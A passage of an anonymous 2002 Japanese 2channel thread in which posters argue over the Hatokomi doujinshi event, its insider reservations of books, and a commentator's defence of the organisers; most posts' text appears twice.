揚げ足取りで悪いが 『全く』 反省してないよ。
揚げ足取りで悪いが 『全く』 反省してないよ。
653 ：名無しさん＠どーでもいいことだが。：02/12/10 00:04 ID:PGa6tA3D
>>651
揚げ足取りで悪いが 『全く』 反省してないよ。
揚げ足取りで悪いが 『全く』 反省してないよ。
654 ：名無しさん＠どーでもいいことだが。：02/12/10 01:14 ID:x/IXr3BG
これ以上話が進まないのなら、
今やるべきことは、これまでの顛末をまとめあげて、ずっと後世に伝えることだと思う。
「ハトコミを忘れさせない」ことが一番重要だ。
今やるべきことは、これまでの顛末をまとめあげて、ずっと後世に伝えることだと思う。
「ハトコミを忘れさせない」ことが一番重要だ。
655 ：名無しさん＠どーでもいいことだが。：02/12/10 01:45 ID:UeCVgvuk
>>652-653
そういうお前ら揚げ足取りしか出来ないのか(ﾌﾟ
そういうお前ら揚げ足取りしか出来ないのか(ﾌﾟ
656 ：名無しさん＠どーでもいいことだが。：02/12/10 01:50 ID:6Y8k959g
657 ：名無しさん＠どーでもいいことだが。：02/12/10 02:53 ID:DuSy7Vfw
忘れるにょ♪
658 ：名無しさん＠どーでもいいことだが。：02/12/10 06:31 ID:UeCVgvuk
659 ：名無しさん＠どーでもいいことだが。：02/12/10 09:34 ID:tVn9zs22
>>658
俺詳しく知らないんだけど、MQNはハトコミと違ってリアルこみぱではオイシイ思いが出来なかったの？
俺詳しく知らないんだけど、MQNはハトコミと違ってリアルこみぱではオイシイ思いが出来なかったの？
660 ：名無しさん＠どーでもいいことだが。：02/12/10 10:43 ID:fzW0ZMSE
>>659
身内取り置きかスタッフ取り置きでもなきゃ、
あの会場の中で何が出来るというのだ(w
サークル持ち側からすれば、CPSより今回の主催側の方が睨まれると怖い。
ヘタ打って大きな即売会でスペース取れなくなったりしたくないからな。
だからサークル側から批判は出ない。逆に擁護はと言うと一寸でも名前出して
言えばどうなるかはごらんの通り(w
三崎たんの言葉ではないが、何のリスクも無く情報を発信できるのは何のリスクも
負っていない買い専のみなんだよ、今回。三崎たんだって上の立場の人間や友人/知人を
自分のサイトとかの自分の名前出した状態で叩けないだろ。
ここで好き勝手言ってる/言ってた連中は自覚してか無自覚なのかは知らんが、
しがらみを気にしなくても良い（買い専ならしがらみ自体が無いかもしれんが）匿名である
時点で圧倒的に「狡い」んだよ。俺を含めて。
だから、文句のある奴は自分で手段を考えて言え、という三崎たんの文になるんじゃないのか。
言えないなら所詮その程度の奴の意見だ、と。
身内取り置きかスタッフ取り置きでもなきゃ、
あの会場の中で何が出来るというのだ(w
サークル持ち側からすれば、CPSより今回の主催側の方が睨まれると怖い。
ヘタ打って大きな即売会でスペース取れなくなったりしたくないからな。
だからサークル側から批判は出ない。逆に擁護はと言うと一寸でも名前出して
言えばどうなるかはごらんの通り(w
三崎たんの言葉ではないが、何のリスクも無く情報を発信できるのは何のリスクも
負っていない買い専のみなんだよ、今回。三崎たんだって上の立場の人間や友人/知人を
自分のサイトとかの自分の名前出した状態で叩けないだろ。
ここで好き勝手言ってる/言ってた連中は自覚してか無自覚なのかは知らんが、
しがらみを気にしなくても良い（買い専ならしがらみ自体が無いかもしれんが）匿名である
時点で圧倒的に「狡い」んだよ。俺を含めて。
だから、文句のある奴は自分で手段を考えて言え、という三崎たんの文になるんじゃないのか。
言えないなら所詮その程度の奴の意見だ、と。
661 ：名無しさん＠どーでもいいことだが。：02/12/10 11:07 ID:fzW0ZMSE
だから、せめて三崎たんは「第三者だから言えない」じゃなくて
「当事者に近いからしがらみで言えない」と正直に書けば良かったんだろうが、
それすらしがらみで言えないよな、普通(w
最初から何も言わないのが一番だったんだろうな、実際のところ。
「当事者に近いからしがらみで言えない」と正直に書けば良かったんだろうが、
それすらしがらみで言えないよな、普通(w
最初から何も言わないのが一番だったんだろうな、実際のところ。
662 ：名無しさん＠どーでもいいことだが。：02/12/10 11:13 ID:fzW0ZMSE
>>660の下の方の文章補足、
言ってる意見の是非はともかく、蛮勇振るって発言してる奴を
狡猾な奴が叩くという図式はいかがな物か、と言いたかった。
同じ土俵にすら上がってないじゃん、同じ狡猾側から見てても、
見苦しい、「お前らこそ何様のつもり？批評家気取り、お客様気分か？」
という気にさせられた。そう言う事。
言ってる意見の是非はともかく、蛮勇振るって発言してる奴を
狡猾な奴が叩くという図式はいかがな物か、と言いたかった。
同じ土俵にすら上がってないじゃん、同じ狡猾側から見てても、
見苦しい、「お前らこそ何様のつもり？批評家気取り、お客様気分か？」
という気にさせられた。そう言う事。
>>625
「もにょる」以外にも、２ちゃん語っぽい言葉で「？」と思ったら、
まずは「２典」を参照するよろし。
http://freezone.kakiko.com/jiten/
http://freezone.kakiko.com/jiten/m.html#monyoru
「もにょる」以外にも、２ちゃん語っぽい言葉で「？」と思ったら、
まずは「２典」を参照するよろし。
http://freezone.kakiko.com/jiten/
http://freezone.kakiko.com/jiten/m.html#monyoru
何回か↓このアドレスにプロバイダのアドレスからメールを送ってみたが、レスもなければwebへの反映もなし＜現状
[email protected]
[email protected]
665 ：名無しさん＠どーでもいいことだが。：02/12/10 13:42 ID:lC9ffQN0
変な擁護をしている香具師がいるが、
同人会のご意見番を気取っている人物が
明らかに偏った、妙な擁護をしたと取れる発言をしたのなら
外野からやじが飛ぶのは当然だろう
狡猾なヤツが叩く云々以前の問題だ
２ｃｈで叩かれる事はほぼノーリスクだし、
見苦しいだけ、嫌なら見るなというだけ。。。
俺から見ると>>660-662は本人降臨にしか見えんということも言っておく
何が言いたいのか全く解らん。。。
同人会のご意見番を気取っている人物が
明らかに偏った、妙な擁護をしたと取れる発言をしたのなら
外野からやじが飛ぶのは当然だろう
狡猾なヤツが叩く云々以前の問題だ
２ｃｈで叩かれる事はほぼノーリスクだし、
見苦しいだけ、嫌なら見るなというだけ。。。
俺から見ると>>660-662は本人降臨にしか見えんということも言っておく
何が言いたいのか全く解らん。。。
666 ：名無しさん＠どーでもいいことだが。：02/12/10 14:21 ID:rd8ifijT
>>660-662
ここは、自分で責任を取る気もなければリスクを背負う気もない、
匿名の陰に隠れたフヌケた名無しさんたちが愚痴を吐く場所だと思って見れば、
そこそこ役に立つ情報が転がっているよ。
バカどもをどうやってコントロールするかって、そういうヒントね。
ここは、自分で責任を取る気もなければリスクを背負う気もない、
匿名の陰に隠れたフヌケた名無しさんたちが愚痴を吐く場所だと思って見れば、
そこそこ役に立つ情報が転がっているよ。
バカどもをどうやってコントロールするかって、そういうヒントね。
667 ：名無しさん＠どーでもいいことだが。：02/12/10 16:17 ID:PUElTwL7
>666
お、ちょっと他人を見下したいお年頃のようですな。
じゃあとりあえずこのスレの方向性でも設定して、その方向へコントロールしてみてよ。
それとも、「ね、667みたいのが釣れたでしょ」でコントロール成功ですか？
お、ちょっと他人を見下したいお年頃のようですな。
じゃあとりあえずこのスレの方向性でも設定して、その方向へコントロールしてみてよ。
それとも、「ね、667みたいのが釣れたでしょ」でコントロール成功ですか？
668 ：名無しさん＠どーでもいいことだが。：02/12/10 18:02 ID:bByF5HYi
>667
逆ギレ長レスは、つまんないからやめなよ。
三崎たんみたいだよ・
逆ギレ長レスは、つまんないからやめなよ。
三崎たんみたいだよ・
669 ：名無しさん＠どーでもいいことだが。：02/12/10 19:13 ID:KJD4MpL7
670 ：名無しさん＠どーでもいいことだが。：02/12/10 19:27 ID:MM1HJI1k
ちなみに、もにょるで散々書き込んだのは俺だ。。。
スマソ
スマソ
671 ：リアルこみパ参戦者：02/12/10 19:35 ID:k+8PoYnc
リアルこみパは「祭り」だったよ。
ハトコミは何だったんだろうね？
ハトコミは何だったんだろうね？
672 ：名無しさん＠どーでもいいことだが。：02/12/10 19:37 ID:MM1HJI1k
どこぞの談を借りるとブラックジョークとやらだったらしいが
673 ：名無しさん＠どーでもいいことだが。：02/12/10 19:41 ID:7o290Iq7
>639
真性は、C1Iたんのおかげで大ウソがばれちまったからね
徹底して主催者擁護に回るしかない
真性は、C1Iたんのおかげで大ウソがばれちまったからね
徹底して主催者擁護に回るしかない
674 ：名無しさん＠どーでもいいことだが。：02/12/10 20:18 ID:k+8PoYnc
冗談は理解者がいて初めて成立するものですがねぇ。
リアルこみパが語り草になるのは何故かというと、世間に対して、
古来より守られてきた同人誌即売会の形を崩してみせた、
最初のイベントだったから。
じゃあ、ハトコミって何だったんだろうね？
単なる二番煎じ？
リアルこみパが語り草になるのは何故かというと、世間に対して、
古来より守られてきた同人誌即売会の形を崩してみせた、
最初のイベントだったから。
じゃあ、ハトコミって何だったんだろうね？
単なる二番煎じ？
675 ：名無しさん＠どーでもいいことだが。：02/12/10 20:30 ID:1PNI3F3v
>>675
別にそれ以前から崩れてただろ。こみパは分かりやすい形で見せ付けてくれただけ。
別にそれ以前から崩れてただろ。こみパは分かりやすい形で見せ付けてくれただけ。
676 ：名無しさん＠どーでもいいことだが。：02/12/10 21:11 ID:k+8PoYnc
677 ：名無しさん＠どーでもいいことだが。：02/12/10 21:28 ID:ZCdkME0D
一つだけ言えることがある。
俺たちは―――――ハトコミを忘れない。
俺たちは―――――ハトコミを忘れない。
678 ：名無しさん＠どーでもいいことだが。：02/12/10 22:32 ID:VYWEjEq3
こみパ…コミケでスタッフ取り置きを突っぱねたLeafのイベント
ハトコミ…取り置きやり放題。
MQN逝ってよし。
ハトコミ…取り置きやり放題。
MQN逝ってよし。
679 ：名無しさん＠どーでもいいことだが。：02/12/10 23:36 ID:RYIIymVe
680 ：名無しさん＠どーでもいいことだが。：02/12/10 23:40 ID:RYIIymVe
あと、ブラックジョークって言うものは相手に理解される必要は
全然無いという事も理解すべきだぜ。笑いものにされた奴は
大抵怒るという事も。
全然無いという事も理解すべきだぜ。笑いものにされた奴は
大抵怒るという事も。
681 ：名無しさん＠どーでもいいことだが。：02/12/10 23:40 ID:k+8PoYnc
682 ：名無しさん＠どーでもいいことだが。：02/12/10 23:48 ID:KJD4MpL7
>>681
むしろこういうネガティブイメージは忘れられにくいかも。対象が対象なだけにな。
むしろこういうネガティブイメージは忘れられにくいかも。対象が対象なだけにな。
683 ：名無しさん＠どーでもいいことだが。：02/12/11 00:05 ID:VQCvw0L4
結局買い専の価値観と描き手の価値観、イベンターの価値観で、即売会のあるべき姿なんて
同じ訳無いんだから何処で折り合いをつけるべきか、って事だろうけど、今回のは
買い専には厳しかったな。でもせいぜいここでクダ巻く程度ならそれも有りだと思えるね。
メンタリティだってZQNと似たようなもんだし。
同じ訳無いんだから何処で折り合いをつけるべきか、って事だろうけど、今回のは
買い専には厳しかったな。でもせいぜいここでクダ巻く程度ならそれも有りだと思えるね。
メンタリティだってZQNと似たようなもんだし。
684 ：名無しさん＠どーでもいいことだが。：02/12/11 00:08 ID:qXx31tAJ
685 ：名無しさん＠どーでもいいことだが。：02/12/11 00:14 ID:+++sd09f
ぴんさいずは自業自得ですが何か？
686 ：名無しさん＠どーでもいいことだが。：02/12/11 00:16 ID:n7kh9ZCF
世間の2ch認識がネオ麦やディレであるように、
即売会に対する認識は宮崎勤から全然変わっていない。
ような気がするのは俺だけ？
リアルこみパってそんなに世間じゃ有名じゃないと思う。
即売会に対する認識は宮崎勤から全然変わっていない。
ような気がするのは俺だけ？
リアルこみパってそんなに世間じゃ有名じゃないと思う。
687 ：名無しさん＠どーでもいいことだが。：02/12/11 00:20 ID:76vG/XR/
688 ：名無しさん＠どーでもいいことだが。：02/12/11 00:22 ID:p1TrTuIp
>>687
ズレたレスですね。IDはちょっとｶｺｲｲがな(w
ズレたレスですね。IDはちょっとｶｺｲｲがな(w
ゴメン。>>685ね。
690 ：名無しさん＠どーでもいいことだが。：02/12/11 00:25 ID:tXSxrEsJ
同人の構造から言って、疥癬がなめられるのは当然であり、
これからも変わる事のない真理でもある事は異論無いだろ？
問題はどの程度までなめられるか、だ。
これからも変わる事のない真理でもある事は異論無いだろ？
問題はどの程度までなめられるか、だ。
691 ：名無しさん＠どーでもいいことだが。：02/12/11 00:27 ID:IDsuCN/G
ん？
PINSIZEのサイトがどうなったか知ってて言えることか？このカス！
っていうのだけに反応しただけよ。>>684に反応したんじゃないよ。
最初の２行はあえてスルーしたのよ。
…ひっこみます（´・ω・｀）
PINSIZEのサイトがどうなったか知ってて言えることか？このカス！
っていうのだけに反応しただけよ。>>684に反応したんじゃないよ。
最初の２行はあえてスルーしたのよ。
…ひっこみます（´・ω・｀）
692 ：名無しさん＠どーでもいいことだが。：02/12/11 00:28 ID:IDsuCN/G
あらID変わったわ（ｗ
693 ：名無しさん＠どーでもいいことだが。：02/12/11 00:29 ID:yCWzFiic
オマエラ、米やんもごあいさつで
「権利だけを声高に主張し、他者を認めない人たちは、社会の
なかにも増えてきています。犯罪の増加とクレーマーの増加は、
ある意味根は一つです。」
って言ってるぞ。
犯罪の増加＝ハトコミサイド
クレーマーの増加＝一般サイド
「権利だけを声高に主張し、他者を認めない人たちは、社会の
なかにも増えてきています。犯罪の増加とクレーマーの増加は、
ある意味根は一つです。」
って言ってるぞ。
犯罪の増加＝ハトコミサイド
クレーマーの増加＝一般サイド
694 ：名無しさん＠どーでもいいことだが。：02/12/11 00:48 ID:scRYIvs1
２ｃｈで叩かれたら人生終わりのようないいざまだな。>>684
ここで叩かれたぐらいで何かあるやつは元々問題あるんじゃねえの
そもそも掲示板荒らされるぐらいで何かあるのか？
某総研は事前に掲示板閉鎖したりして荒らし対策してるしな（ｗ
ここで叩かれたぐらいで何かあるやつは元々問題あるんじゃねえの
そもそも掲示板荒らされるぐらいで何かあるのか？
某総研は事前に掲示板閉鎖したりして荒らし対策してるしな（ｗ
695 ：名無しさん＠どーでもいいことだが。：02/12/11 04:39 ID:3BXD/v6w
＞某総研は事前に掲示板閉鎖したりして荒らし対策してるしな（ｗ
掲示板閉鎖したのは三崎たんがハトコミ擁護発言をかましたあと
それに対しての議論が激しくなったためなんですけど･･･、
と言うか議論の封じ込めですな、久しぶりの更新で載った文章は
前回以上に叩かれてもおかしくない文章だったし。
掲示板閉鎖したのは三崎たんがハトコミ擁護発言をかましたあと
それに対しての議論が激しくなったためなんですけど･･･、
と言うか議論の封じ込めですな、久しぶりの更新で載った文章は
前回以上に叩かれてもおかしくない文章だったし。
696 ：名無しさん＠どーでもいいことだが。：02/12/11 07:40 ID:Xq99NpTI
総研の文章をこれっぽっちも理解してないだろ、お前ら。
する気もありませんか？
する気もありませんか？
697 ：名無しさん＠どーでもいいことだが。：02/12/11 08:41 ID:uVYjNmFD
総研の文章なんてここで議論する上での前提のようなもの。
なにをいまさらって感じ。
だから嘲笑の的になってんだよ。
なにをいまさらって感じ。
だから嘲笑の的になってんだよ。
698 ：名無しさん＠どーでもいいことだが。：02/12/11 08:41 ID:p1TrTuIp
>>696
ああ、典型的な煽りですね。「俺は分かってる」って全く自分の解釈書かないの。
ああ、典型的な煽りですね。「俺は分かってる」って全く自分の解釈書かないの。
699 ：名無しさん＠どーでもいいことだが。：02/12/11 09:21 ID:SERWH79g
総研の文章、あれだけを抜き出せば異論のある奴は居ないだろ。
問題は、ハトコミの、あの体たらくに援用できる話ではないのと、
三崎たん自身の行状と一致しないところなんだよな。
ま、どう語っても>>693位にまとめられちゃう話なんだけど。
>>694
おいおい、ノーリスクからどんどん敷居が低くなってるじゃん(w
タクにゃ狂人がかなりの確率で含まれてるから、即売会等で
対面の機会が多い同人では掲示板荒らしだけ、ですら済まない事も
沢山起こってるぜ。男性向けでは少ないと思うがな。
合宿所スレとか見たことあるか？
問題は、ハトコミの、あの体たらくに援用できる話ではないのと、
三崎たん自身の行状と一致しないところなんだよな。
ま、どう語っても>>693位にまとめられちゃう話なんだけど。
>>694
おいおい、ノーリスクからどんどん敷居が低くなってるじゃん(w
タクにゃ狂人がかなりの確率で含まれてるから、即売会等で
対面の機会が多い同人では掲示板荒らしだけ、ですら済まない事も
沢山起こってるぜ。男性向けでは少ないと思うがな。
合宿所スレとか見たことあるか？
700 ：名無しさん＠どーでもいいことだが。：02/12/11 09:26 ID:SERWH79g
>>699のは、知らんうちに狂人を煽ってることもありえるって事ね。
匿名掲示板だから責任問われないってのはモラルハザードだよ。
そう言う理屈で来るならハトコミを断罪できるほどのご立派な人じゃないしな。
ただの利益と利益のぶつかり合いに過ぎなくなる。だったら強い方が勝つ、
それだけの事で一般参加者に勝ち目なんか最初から無いよな。
匿名掲示板だから責任問われないってのはモラルハザードだよ。
そう言う理屈で来るならハトコミを断罪できるほどのご立派な人じゃないしな。
ただの利益と利益のぶつかり合いに過ぎなくなる。だったら強い方が勝つ、
それだけの事で一般参加者に勝ち目なんか最初から無いよな。
701 ：名無しさん＠どーでもいいことだが。：02/12/11 09:30 ID:Uu3AN9XT
うーん、総研、また他のイベントに関して偉そうにルポしてる。
むか、むか、むか、むかむかむか･･･いや、見に行かなきゃいいわけだけどさぁ。
むか、むか、むか、むかむかむか･･･いや、見に行かなきゃいいわけだけどさぁ。
702 ：名無しさん＠どーでもいいことだが。：02/12/11 09:38 ID:SERWH79g
>>701
もう総研は相手にするな。相手にするから腹が立つ。
というか三崎たんほど、同人方面で名前の売れてる論客が
居ないのも問題なんだろうな…とはいえ、何の後ろ盾も無い
香具師が論客として成り立つほど甘くないし。
もう総研は相手にするな。相手にするから腹が立つ。
というか三崎たんほど、同人方面で名前の売れてる論客が
居ないのも問題なんだろうな…とはいえ、何の後ろ盾も無い
香具師が論客として成り立つほど甘くないし。
703 ：名無しさん＠どーでもいいことだが。：02/12/11 10:41 ID:iLQ3CNcV
（大苦笑）。
704 ：名無しさん＠どーでもいいことだが。：02/12/11 11:46 ID:1P1Fc+1F
>それだけの事で一般参加者に勝ち目なんか最初から無いよな。
サシならともかく不満をもった一般参加者が束になって
かかってくれば三崎たんでも勝ち目は無いんだが。
掲示板閉鎖もとらえ様によっては三崎たんの敗北宣言
だからなあ。
サシならともかく不満をもった一般参加者が束になって
かかってくれば三崎たんでも勝ち目は無いんだが。
掲示板閉鎖もとらえ様によっては三崎たんの敗北宣言
だからなあ。
705 ：名無しさん＠どーでもいいことだが。：02/12/11 11:47 ID:wG2cCc1F
同人界なんて所詮砂上の楼閣。
崩れる時は一気に逝くだろうな。
と戯言を抜かしてみるテスト。
崩れる時は一気に逝くだろうな。
と戯言を抜かしてみるテスト。
706 ：名無しさん＠どーでもいいことだが。：02/12/11 12:01 ID:1P1Fc+1F
707 ：名無しさん＠どーでもいいことだが。：02/12/11 12:29 ID:SERWH79g
>>704
出来もしないことを仮定して言ってもね。
大体三崎たん個人は仮にそうだとしても、第２第３の三崎たん…はともかくとして、
ハトコミで起こった事は今の同人（特に男性サイド）の判りやすいカリカチュア
なんだからな。イベント側、サークル側の利害と一般参加者側の利害の対立なんだよ。
この構造のなかでは一般参加者側は圧倒的に弱い。相手が理念をないがしろにするから
こっちもないがしろに、といった泥仕合をやった場合はなおさらだ。
>>705
一回崩れた方が良いよな。
>>706
鶏が先か卵が先か。同人においては描き手がまず一番先だろう。
一般参加者が出来ることは少ない。
出来もしないことを仮定して言ってもね。
大体三崎たん個人は仮にそうだとしても、第２第３の三崎たん…はともかくとして、
ハトコミで起こった事は今の同人（特に男性サイド）の判りやすいカリカチュア
なんだからな。イベント側、サークル側の利害と一般参加者側の利害の対立なんだよ。
この構造のなかでは一般参加者側は圧倒的に弱い。相手が理念をないがしろにするから
こっちもないがしろに、といった泥仕合をやった場合はなおさらだ。
>>705
一回崩れた方が良いよな。
>>706
鶏が先か卵が先か。同人においては描き手がまず一番先だろう。
一般参加者が出来ることは少ない。
708 ：名無しさん＠どーでもいいことだが。：02/12/11 12:30 ID:GnV0/IEn
709 ：名無しさん＠どーでもいいことだが。：02/12/11 12:35 ID:SERWH79g
710 ：名無しさん＠どーでもいいことだが。：02/12/11 12:42 ID:sw8Hbuie
711 ：名無しさん＠どーでもいいことだが。：02/12/11 12:49 ID:SERWH79g
>>710
崩壊したとして、その先の話さ。描き手がまず再建する気にならなけりゃそれまでだが
買い手がその気にならなくても、描き手は描き手だけで発表の場を作ろうとするだろう。
大体、成り上がるとか、売上げとか、そういう事を気にしてない描き手も多いんだよ。
崩壊したとして、その先の話さ。描き手がまず再建する気にならなけりゃそれまでだが
買い手がその気にならなくても、描き手は描き手だけで発表の場を作ろうとするだろう。
大体、成り上がるとか、売上げとか、そういう事を気にしてない描き手も多いんだよ。
712 ：名無しさん＠どーでもいいことだが。：02/12/11 13:08 ID:SERWH79g
正直な感想として。
同人の理念？の形骸化が進んでるのは衆目の一致する所だとは思うが、
一部のエロ大手しか見ておらず、それらを「養ってやってる」なんて
感覚の一般参加者？が居るってのは、薄ら寒い。それじゃハトコミの
主催側と根は同じだよ。むしろ、ハトコミにお似合いの参加者だと
言うべきかもしれない。
何を求めて参加してるのか、本当に同人が好きで参加してるのか、
サークル側やイベント側を含めて聞きたいところだ。
同人の理念？の形骸化が進んでるのは衆目の一致する所だとは思うが、
一部のエロ大手しか見ておらず、それらを「養ってやってる」なんて
感覚の一般参加者？が居るってのは、薄ら寒い。それじゃハトコミの
主催側と根は同じだよ。むしろ、ハトコミにお似合いの参加者だと
言うべきかもしれない。
何を求めて参加してるのか、本当に同人が好きで参加してるのか、
サークル側やイベント側を含めて聞きたいところだ。
713 ：名無しさん＠どーでもいいことだが。：02/12/11 13:58 ID:y2L5tXc2
＞描き手は描き手だけで発表の場を作ろうとするだろう。
肉筆回覧同人誌のお茶会か？。
つーかそれだと描き手の引きこもりと言うか袋小路に陥って
作家としてどうかって気もするんだけどな。
作者と読者のぶつかり合いがあって作家と言うのは
伸びていくんだからそれをはなから放棄しちゃいかん
でしょ。
肉筆回覧同人誌のお茶会か？。
つーかそれだと描き手の引きこもりと言うか袋小路に陥って
作家としてどうかって気もするんだけどな。
作者と読者のぶつかり合いがあって作家と言うのは
伸びていくんだからそれをはなから放棄しちゃいかん
でしょ。
714 ：名無しさん＠どーでもいいことだが。：02/12/11 14:04 ID:3qGly76P
＞大体、成り上がるとか、売上げとか、
＞そういう事を気にしてない描き手も多いんだよ。
この理論じゃ大の大人が「～のファンです～」って感じで
小学生以下の落書きをＨＰ上に載せてる輩と根は一緒と
言うことだよなあ、オナるだけで自己満足しちゃってる
つーか、しかも規模がでかくなるほどたちが悪い。
＞そういう事を気にしてない描き手も多いんだよ。
この理論じゃ大の大人が「～のファンです～」って感じで
小学生以下の落書きをＨＰ上に載せてる輩と根は一緒と
言うことだよなあ、オナるだけで自己満足しちゃってる
つーか、しかも規模がでかくなるほどたちが悪い。
715 ：名無しさん＠どーでもいいことだが。：02/12/11 14:07 ID:SERWH79g
>>713
例えばWebがあるじゃん。即売会が成立しなくなったとしても。
例えばWebがあるじゃん。即売会が成立しなくなったとしても。
716 ：名無しさん＠どーでもいいことだが。：02/12/11 14:08 ID:fTyv6MFO
>714
よく判っていないんならレスしなくていいよ。
よく判っていないんならレスしなくていいよ。
717 ：名無しさん＠どーでもいいことだが。：02/12/11 14:09 ID:GsIL29Pa
718 ：名無しさん＠どーでもいいことだが。：02/12/11 14:11 ID:3qGly76P
>>715
ネット上は飽和状態という罠。
ネット上は飽和状態という罠。
719 ：名無しさん＠どーでもいいことだが。：02/12/11 14:14 ID:pGvoClD6
>>714
売れなくてもいいという香具師が小規模即売会でマターリしているのを何度もみてるからな
本当に腐った状態というのは結局、モノを作らなくなった時だけなのでわ
これとハトコミがどう関係あるのかは解らんがな
売れなくてもいいという香具師が小規模即売会でマターリしているのを何度もみてるからな
本当に腐った状態というのは結局、モノを作らなくなった時だけなのでわ
これとハトコミがどう関係あるのかは解らんがな
720 ：名無しさん＠どーでもいいことだが。：02/12/11 14:17 ID:Xq99NpTI
＞作者と読者のぶつかり合いがあって作家と言うのは伸びていく
それは読者が読者足りえていればの話であって、
読者足りえてない人間（＝単なる消費者、もしくはそれ以下？）
への対応ほど無駄なものはない。今やそれはリスクでしかない、
と言ってるんじゃないの？
だから総研は掲示板を閉じたんだと思うんだが。
それは読者が読者足りえていればの話であって、
読者足りえてない人間（＝単なる消費者、もしくはそれ以下？）
への対応ほど無駄なものはない。今やそれはリスクでしかない、
と言ってるんじゃないの？
だから総研は掲示板を閉じたんだと思うんだが。
721 ：名無しさん＠どーでもいいことだが。：02/12/11 14:21 ID:3qGly76P
722 ：名無しさん＠どーでもいいことだが。：02/12/11 14:22 ID:pGvoClD6
723 ：名無しさん＠どーでもいいことだが。：02/12/11 14:29 ID:SERWH79g
>>714
>>718
創作意欲なんてものは「根」は小学生の落書きと何ら変わるものではないよ。
そしてそれを否定するなら同人がかろうじて持っている「趣味」という免罪符
を失うだろうね。模型とかの状況知ってるのか？
あと、Webは発表の場、としての機能は持っているよ。飽和？何をもって飽和としてるんだ？
今の一般参加者の方がずっと飽和状態だと思うよ。だからこそハトコミみたいな
なめたイベントが開けるし、金銭的には成功しちゃうんだよ。
>>718
創作意欲なんてものは「根」は小学生の落書きと何ら変わるものではないよ。
そしてそれを否定するなら同人がかろうじて持っている「趣味」という免罪符
を失うだろうね。模型とかの状況知ってるのか？
あと、Webは発表の場、としての機能は持っているよ。飽和？何をもって飽和としてるんだ？
今の一般参加者の方がずっと飽和状態だと思うよ。だからこそハトコミみたいな
なめたイベントが開けるし、金銭的には成功しちゃうんだよ。
724 ：名無しさん＠どーでもいいことだが。：02/12/11 14:39 ID:Xq99NpTI
総研の文章の読み解きでこのスレ埋まるかも知れんね。
725 ：名無しさん＠どーでもいいことだが。：02/12/11 14:41 ID:pGvoClD6
>>724
君の脳内だけでやってくれると、そうならないので嬉しいのだが。
君の脳内だけでやってくれると、そうならないので嬉しいのだが。
726 ：名無しさん＠どーでもいいことだが。：02/12/11 14:44 ID:Xq99NpTI
>>725
その一言が無ければこのまま撤退するところだったのになぁ。
その一言が無ければこのまま撤退するところだったのになぁ。
727 ：名無しさん＠どーでもいいことだが。：02/12/11 14:51 ID:VF6Eaogz
>>723
君の場合一度読み手の立場に立ってみることをお勧めする。
君の場合一度読み手の立場に立ってみることをお勧めする。
728 ：名無しさん＠どーでもいいことだが。：02/12/11 14:58 ID:TEm54Xjc
>>723
独り善がりな同人作家の典型ですな(プ
独り善がりな同人作家の典型ですな(プ
729 ：名無しさん＠どーでもいいことだが。：02/12/11 15:15 ID:Xq99NpTI
だめだこりゃ（藁）
730 ：名無しさん＠どーでもいいことだが。：02/12/11 15:22 ID:CRm7YN1p
ｵｴｵｴ、真昼間からお祭りかよ（藁
731 ：名無しさん＠どーでもいいことだが。：02/12/11 15:34 ID:NdU5Ombz
ま、現状「作家驕り過ぎ」「買い手態度デカ過ぎ」「主催者無責任過ぎ」ってトコでしょう。
俺も含めて全員駄目ぽ。
俺も含めて全員駄目ぽ。
732 ：名無しさん＠どーでもいいことだが。：02/12/11 15:34 ID:SERWH79g
理念を否定するのも良いが否定すりゃ一般参加者は
一方的に食い物にされるだけだよ。それが嫌なら
同人から足洗うしかない。今がすでにそういう状況だろ？
三崎はおろかイワエモンまでそう言ってるんだからな。
言ってみればコミケ公認な訳だ。それで良いのか？
一方的に食い物にされるだけだよ。それが嫌なら
同人から足洗うしかない。今がすでにそういう状況だろ？
三崎はおろかイワエモンまでそう言ってるんだからな。
言ってみればコミケ公認な訳だ。それで良いのか？
733 ：名無しさん＠どーでもいいことだが。：02/12/11 16:16 ID:fTyv6MFO
同人を商売にしているのは、まあ大量の購買者たちの財力なわけで…
たしかに買い専が減ってくれれば、ただの「大規模なお店屋さんごっこ」に戻れて
イイ！んだけどね。
だけどこの醜くてハンパな商業化を押し進めたのは、やみくもな拡大路線や
企業ブースを始めた、コミケ準備会自身じゃないのか。
あと書店卸しだよねー、ここまで消費ユーザーを増やした戦犯は…
たしかに買い専が減ってくれれば、ただの「大規模なお店屋さんごっこ」に戻れて
イイ！んだけどね。
だけどこの醜くてハンパな商業化を押し進めたのは、やみくもな拡大路線や
企業ブースを始めた、コミケ準備会自身じゃないのか。
あと書店卸しだよねー、ここまで消費ユーザーを増やした戦犯は…
734 ：名無しさん＠どーでもいいことだが。：02/12/11 16:30 ID:Xq99NpTI
コミケはコミケとして在ろうとし続けただけですがそれが何か？
735 ：名無しさん＠どーでもいいことだが。：02/12/11 16:42 ID:QyGk1xPc
商業主義と作家だけのお茶会に完全に分離すればいいと思うんだけど。
736 ：名無しさん＠どーでもいいことだが。：02/12/11 17:47 ID:2cXX3R3i
737 ：名無しさん＠どーでもいいことだが。：02/12/11 18:34 ID:SERWH79g
>>735
完全な商業主義ってものは同人と相容れないよ。
作り手側は趣味でいられなくなる。それこそ同人で食ってる奴以外居れない世界だな。
司馬遼太郎も趣味の世界に商業主義を持ち込む奴を
女衒呼ばわりして嫌ってたが…
>>736
まさに、向こう側が非難しているお客様気分の買い専って
図式にすっぽりはまってる両者の関係を。
完全な商業主義ってものは同人と相容れないよ。
作り手側は趣味でいられなくなる。それこそ同人で食ってる奴以外居れない世界だな。
司馬遼太郎も趣味の世界に商業主義を持ち込む奴を
女衒呼ばわりして嫌ってたが…
>>736
まさに、向こう側が非難しているお客様気分の買い専って
図式にすっぽりはまってる両者の関係を。
738 ：名無しさん＠どーでもいいことだが。：02/12/11 19:05 ID:JlvGNK0M
739 ：名無しさん＠どーでもいいことだが。：02/12/11 19:08 ID:iLQ3CNcV
気に食わない海鮮には売らない、という売り方を実行するのはそんなに難しいことじゃない。
本を売る前に少し談話でもして買い手の姿をしっかり確かめればいい。
趣味だ非営利だといいつつ本をやみくもに売りさばいて、裏では買い手批判とはなかなか滑稽な姿だ。
本を売る前に少し談話でもして買い手の姿をしっかり確かめればいい。
趣味だ非営利だといいつつ本をやみくもに売りさばいて、裏では買い手批判とはなかなか滑稽な姿だ。
740 ：名無しさん＠どーでもいいことだが。：02/12/11 19:14 ID:6NHOY/4h
同人の理念ってなんだったのか、だな。
パロ文化の普及だったか、漫画文化の普及だったか、商業からはみ出した作家・
商業予備軍を「囲う」場だったか、新しい表現スタイルの実験・マーケティングの
